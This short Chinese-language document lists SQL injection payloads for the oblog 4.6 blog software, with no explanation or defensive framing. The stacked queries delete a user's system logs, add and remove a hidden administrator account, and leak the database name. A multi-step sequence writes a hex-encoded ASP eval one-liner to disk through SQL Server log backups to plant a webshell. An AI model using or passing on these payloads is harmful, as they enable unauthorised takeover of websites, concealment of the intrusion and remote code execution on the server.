oblog 4.6 注入的語句

s'/**/WHERE/**/logid=21949;delete/**/from/**/oblog_syslog/**/where/**/
username='duyao';--刪除指定用戶日志

s'/**/WHERE/**/logid=21949;insert/**/into/**/oblog_admin/**/
(username,password,roleid)values('duyao','00b1d1380814062d',0);-- 添加指定用
戶

s'/**/WHERE/**/logid=21949;delete/**/from/**/oblog_admin/**/where/**/
username='duyao';-- 刪除指定用戶

備份獲得webshell

s'/**/WHERE/**/logid=21949;Drop/**/table/**/cmd;--

s'/**/WHERE/**/logid=21949;create/**/table/**/cmd/**/(a/**/image);--

s'/**/WHERE/**/logid=21949;backup/**/log/**/hh/**/to/**/disk/**/=/
**/'c:\zj1244'/**/with/**/init;--

s'/**/WHERE/**/logid=21949;insert/**/into/**/cmd/**/(a)/**/
values(0x3C256576616C2072657175657374286368722833352929253E);--

s'/**/WHERE/**/logid=21949;backup/**/log/**/hh/**/to/**/disk/**/=/
**/'c:\a\a\';--

s'/**/WHERE/**/logid=21949;Drop/**/table/**/cmd;--

s'/**/WHERE/**/logid=21949;s' WHERE logid=1;update oblog_user set
useremail=db_name() where username='duyao';--